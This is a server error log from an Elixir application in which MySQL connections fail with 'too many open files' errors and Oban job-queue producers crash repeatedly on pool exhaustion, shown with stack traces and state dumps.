[Sat Sep  5 23:16:44.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:46.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:47.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:47.733000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:47.731000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:16:34.240310Z], limit: 5, uuid: "3bb5b9e8-f929-466c-86e3-392dc9202333", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:34.240316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13893>, refresh_timer: #Reference<0.2525715032.1099431938.13884>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:47.731000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:16:34.238710Z], limit: 20, uuid: "03311541-d524-4ab0-8dee-390397a49b00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:34.238716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13894>, refresh_timer: #Reference<0.2525715032.1121189889.113105>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:47.731000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:16:34.238214Z], limit: 3, uuid: "b604097e-e303-4b2b-a5d5-50eb12eaabc7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:34.238221Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13897>, refresh_timer: #Reference<0.2525715032.1121189889.113073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:47.731000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:16:34.238459Z], limit: 50, uuid: "282e9f7b-ee00-4014-be0b-09ab93aa8bff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:34.238464Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13896>, refresh_timer: #Reference<0.2525715032.1121189889.113086>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:47.732000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:16:34.238711Z], limit: 5, uuid: "76b6f5c9-ea28-4228-9bac-94499ebf2fc5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:34.238716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13895>, refresh_timer: #Reference<0.2525715032.1121189889.113101>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:50.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:50.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:51.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:16:40.237747Z], limit: 10, uuid: "b6bc84c0-598f-45b3-b299-c309e434acfe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:40.237756Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.14059>, refresh_timer: #Reference<0.2525715032.1068498948.1776>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:56.046000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:16:47.734856Z], limit: 50, uuid: "6fb1655f-f537-46d6-bf00-37c54a005105", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:47.734862Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113240>, refresh_timer: #Reference<0.2525715032.1099431938.14264>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:16:47.734822Z], limit: 3, uuid: "9ec0d02b-e336-4e91-a99d-87dd74430ae5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:47.734828Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113242>, refresh_timer: #Reference<0.2525715032.1077411843.245784>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
